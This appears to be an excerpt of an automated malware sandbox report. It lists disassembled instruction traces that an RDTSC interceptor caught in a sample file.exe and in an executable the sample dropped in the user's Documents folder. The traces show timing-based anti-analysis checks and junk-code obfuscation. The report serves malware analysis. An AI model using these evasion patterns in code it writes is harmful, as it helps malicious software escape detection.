Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70305 second address: 4F70316 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 push ebx 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70316 second address: 4F7031A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7031A second address: 4F70320 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70320 second address: 4F70326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70326 second address: 4F70351 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E944h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7650B5E93Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70351 second address: 4F70360 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5D3DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70360 second address: 4F703CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7650B5E93Fh 0x00000008 movzx esi, di 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F7650B5E941h 0x00000017 adc esi, 4B125FF6h 0x0000001d jmp 00007F7650B5E941h 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007F7650B5E940h 0x00000029 or si, 5918h 0x0000002e jmp 00007F7650B5E93Bh 0x00000033 popfd 0x00000034 popad 0x00000035 pop ebp 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F703CE second address: 4F703D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70425 second address: 4F70492 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7650B5E947h 0x00000009 sub ecx, 7EAC8D4Eh 0x0000000f jmp 00007F7650B5E949h 0x00000014 popfd 0x00000015 mov ax, 3D57h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d jmp 00007F7650B5E93Ah 0x00000022 push eax 0x00000023 jmp 00007F7650B5E93Bh 0x00000028 xchg eax, ebp 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c call 00007F7650B5E93Eh 0x00000031 pop esi 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70492 second address: 4F704AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7650B5D3E7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F704AD second address: 4F704C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f mov cx, EBA3h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F704C1 second address: 4F704F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7650B5D3DFh 0x00000009 and cl, FFFFFFCEh 0x0000000c jmp 00007F7650B5D3E9h 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F704F3 second address: 4F70504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ecx 0x0000000d movsx edi, ax 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70504 second address: 4F70512 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7650B5D3DAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7055D second address: 4F7057A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E949h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7057A second address: 4F7058A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7650B5D3DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7058A second address: 4F7058E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7058E second address: 4F705F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 604073BBh 0x0000000f jmp 00007F7650B5D3E7h 0x00000014 call 00007F76C1E20E14h 0x00000019 push 762327D0h 0x0000001e push dword ptr fs:[00000000h] 0x00000025 mov eax, dword ptr [esp+10h] 0x00000029 mov dword ptr [esp+10h], ebp 0x0000002d lea ebp, dword ptr [esp+10h] 0x00000031 sub esp, eax 0x00000033 push ebx 0x00000034 push esi 0x00000035 push edi 0x00000036 mov eax, dword ptr [762C0140h] 0x0000003b xor dword ptr [ebp-04h], eax 0x0000003e xor eax, ebp 0x00000040 push eax 0x00000041 mov dword ptr [ebp-18h], esp 0x00000044 push dword ptr [ebp-08h] 0x00000047 mov eax, dword ptr [ebp-04h] 0x0000004a mov dword ptr [ebp-04h], FFFFFFFEh 0x00000051 mov dword ptr [ebp-08h], eax 0x00000054 lea eax, dword ptr [ebp-10h] 0x00000057 mov dword ptr fs:[00000000h], eax 0x0000005d ret 0x0000005e jmp 00007F7650B5D3E6h 0x00000063 and dword ptr [ebp-04h], 00000000h 0x00000067 pushad 0x00000068 movzx eax, di 0x0000006b pushad 0x0000006c movsx edx, cx 0x0000006f push ecx 0x00000070 pop edi 0x00000071 popad 0x00000072 popad 0x00000073 mov edx, dword ptr [ebp+0Ch] 0x00000076 push eax 0x00000077 push edx 0x00000078 jmp 00007F7650B5D3E3h 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70664 second address: 4F7066E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, 6730A13Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7066E second address: 4F7067D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7650B5D3DBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7067D second address: 4F70681 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70681 second address: 4F706DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub edx, esi 0x0000000a pushad 0x0000000b jmp 00007F7650B5D3E0h 0x00000010 pushfd 0x00000011 jmp 00007F7650B5D3E2h 0x00000016 and ch, 00000068h 0x00000019 jmp 00007F7650B5D3DBh 0x0000001e popfd 0x0000001f popad 0x00000020 mov edi, dword ptr [ebp+08h] 0x00000023 jmp 00007F7650B5D3E6h 0x00000028 dec edi 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F706DF second address: 4F706FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E949h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F706FC second address: 4F7070C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7650B5D3DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7070C second address: 4F70710 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70808 second address: 4F7081D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7650B5D3E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7081D second address: 4F70858 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rep movsd 0x0000000a rep movsd 0x0000000c rep movsd 0x0000000e rep movsd 0x00000010 rep movsd 0x00000012 jmp 00007F7650B5E93Dh 0x00000017 mov ecx, edx 0x00000019 jmp 00007F7650B5E93Eh 0x0000001e and ecx, 03h 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 jmp 00007F7650B5E93Dh 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70858 second address: 4F7085E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7085E second address: 4F708CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E946h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rep movsb 0x0000000d jmp 00007F7650B5E940h 0x00000012 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c call 00007F7650B5E93Dh 0x00000021 pop ecx 0x00000022 pushfd 0x00000023 jmp 00007F7650B5E941h 0x00000028 add ecx, 2AA31EB6h 0x0000002e jmp 00007F7650B5E941h 0x00000033 popfd 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F708CF second address: 4F708D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F708D5 second address: 4F708D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F708D9 second address: 4F708EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 pop edx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F708EB second address: 4F70926 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, bh 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ecx, dword ptr [ebp-10h] 0x0000000d jmp 00007F7650B5E93Eh 0x00000012 mov dword ptr fs:[00000000h], ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F7650B5E947h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70926 second address: 4F709E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F7650B5D3DFh 0x00000008 pop esi 0x00000009 jmp 00007F7650B5D3E9h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pop ecx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F7650B5D3DCh 0x00000019 sub al, 00000028h 0x0000001c jmp 00007F7650B5D3DBh 0x00000021 popfd 0x00000022 call 00007F7650B5D3E8h 0x00000027 pushfd 0x00000028 jmp 00007F7650B5D3E2h 0x0000002d and cx, 7DB8h 0x00000032 jmp 00007F7650B5D3DBh 0x00000037 popfd 0x00000038 pop esi 0x00000039 popad 0x0000003a pop edi 0x0000003b jmp 00007F7650B5D3DFh 0x00000040 pop esi 0x00000041 pushad 0x00000042 mov bx, si 0x00000045 mov edx, esi 0x00000047 popad 0x00000048 pop ebx 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F7650B5D3E9h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F709E5 second address: 4F709EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F709EB second address: 4F709EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F709EF second address: 4F709FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F709FE second address: 4F70A0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5D3DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70A0E second address: 4F7055D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E93Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0008h 0x0000000c cmp dword ptr [ebp-2Ch], 10h 0x00000010 mov eax, dword ptr [ebp-40h] 0x00000013 jnc 00007F7650B5E935h 0x00000015 push eax 0x00000016 lea edx, dword ptr [ebp-00000590h] 0x0000001c push edx 0x0000001d call esi 0x0000001f push 00000008h 0x00000021 jmp 00007F7650B5E946h 0x00000026 push 15E9A86Dh 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F7650B5E943h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70B22 second address: 4F70B28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70B28 second address: 4F70B45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E940h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70B45 second address: 4F70B49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70B49 second address: 4F70B4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70B4D second address: 4F70B53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70B53 second address: 4F70BD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, bx 0x00000006 mov cx, di 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push ecx 0x0000000f mov ah, dl 0x00000011 pop esi 0x00000012 call 00007F7650B5E947h 0x00000017 movzx ecx, dx 0x0000001a pop ebx 0x0000001b popad 0x0000001c xchg eax, ebp 0x0000001d pushad 0x0000001e call 00007F7650B5E93Eh 0x00000023 pushfd 0x00000024 jmp 00007F7650B5E942h 0x00000029 adc ax, 5628h 0x0000002e jmp 00007F7650B5E93Bh 0x00000033 popfd 0x00000034 pop esi 0x00000035 mov dh, C2h 0x00000037 popad 0x00000038 mov ebp, esp 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F7650B5E947h 0x00000041 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 112F25F second address: 112F265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1136228 second address: 1136231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 11363AB second address: 11363BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5D3DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 11363BC second address: 11363ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E93Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F7650B5E946h 0x00000015 jne 00007F7650B5E936h 0x0000001b rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 11363ED second address: 11363F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 11363F1 second address: 11363FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 11363FB second address: 11363FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1136AE2 second address: 1136AFE instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7650B5E946h 0x00000008 jmp 00007F7650B5E940h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 11383BF second address: 11383C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 11383C3 second address: 11383D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 113847A second address: 1138480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1138480 second address: 1138485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1138485 second address: 1138519 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jbe 00007F7650B5D3D6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F7650B5D3E9h 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F7650B5D3D8h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 00000019h 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d mov ecx, 29324BF8h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push edi 0x00000037 call 00007F7650B5D3D8h 0x0000003c pop edi 0x0000003d mov dword ptr [esp+04h], edi 0x00000041 add dword ptr [esp+04h], 00000018h 0x00000049 inc edi 0x0000004a push edi 0x0000004b ret 0x0000004c pop edi 0x0000004d ret 0x0000004e js 00007F7650B5D3DCh 0x00000054 mov edx, dword ptr [ebp+122D34C2h] 0x0000005a add dword ptr [ebp+122D1E9Bh], esi 0x00000060 push 415C0F81h 0x00000065 push eax 0x00000066 push edx 0x00000067 jc 00007F7650B5D3DCh 0x0000006d jng 00007F7650B5D3D6h 0x00000073 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1138519 second address: 1138570 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E93Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 415C0F01h 0x00000010 mov edx, dword ptr [ebp+122D3502h] 0x00000016 mov edi, dword ptr [ebp+122D3612h] 0x0000001c push 00000003h 0x0000001e jl 00007F7650B5E93Bh 0x00000024 sub dx, 9C65h 0x00000029 push 00000000h 0x0000002b sbb ch, FFFFFFA8h 0x0000002e push 00000003h 0x00000030 sbb esi, 07BFFE82h 0x00000036 mov edx, dword ptr [ebp+122D371Ah] 0x0000003c call 00007F7650B5E939h 0x00000041 push eax 0x00000042 push edx 0x00000043 push ecx 0x00000044 jc 00007F7650B5E936h 0x0000004a pop ecx 0x0000004b rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 11386F9 second address: 11387BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5D3DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a or dword ptr [ebp+122D1B91h], esi 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F7650B5D3D8h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c or dword ptr [ebp+122D2878h], ebx 0x00000032 push F2E71C00h 0x00000037 jmp 00007F7650B5D3E5h 0x0000003c add dword ptr [esp], 0D18E480h 0x00000043 or esi, 023E9D2Eh 0x00000049 movzx edx, ax 0x0000004c push 00000003h 0x0000004e push 00000000h 0x00000050 push eax 0x00000051 call 00007F7650B5D3D8h 0x00000056 pop eax 0x00000057 mov dword ptr [esp+04h], eax 0x0000005b add dword ptr [esp+04h], 00000016h 0x00000063 inc eax 0x00000064 push eax 0x00000065 ret 0x00000066 pop eax 0x00000067 ret 0x00000068 ja 00007F7650B5D3D8h 0x0000006e push 00000000h 0x00000070 jng 00007F7650B5D3DCh 0x00000076 mov dword ptr [ebp+122D58EFh], edx 0x0000007c push 00000003h 0x0000007e jmp 00007F7650B5D3E2h 0x00000083 call 00007F7650B5D3D9h 0x00000088 push edx 0x00000089 push eax 0x0000008a push edx 0x0000008b pushad 0x0000008c popad 0x0000008d rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 11387BA second address: 11387F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E940h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F7650B5E948h 0x00000011 push ebx 0x00000012 pushad 0x00000013 popad 0x00000014 pop ebx 0x00000015 popad 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 11387F7 second address: 1138822 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F7650B5D3EDh 0x0000000c popad 0x0000000d mov eax, dword ptr [eax] 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1138822 second address: 1138826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1138826 second address: 113882A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 113882A second address: 1138897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push edx 0x0000000c jmp 00007F7650B5E948h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 add dword ptr [ebp+122D25FAh], edx 0x00000019 lea ebx, dword ptr [ebp+1244D2DDh] 0x0000001f push 00000000h 0x00000021 push esi 0x00000022 call 00007F7650B5E938h 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], esi 0x0000002c add dword ptr [esp+04h], 00000014h 0x00000034 inc esi 0x00000035 push esi 0x00000036 ret 0x00000037 pop esi 0x00000038 ret 0x00000039 jmp 00007F7650B5E948h 0x0000003e xchg eax, ebx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1138897 second address: 113889B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 113889B second address: 11388A1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1138972 second address: 1138976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: 1138976 second address: 113897A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
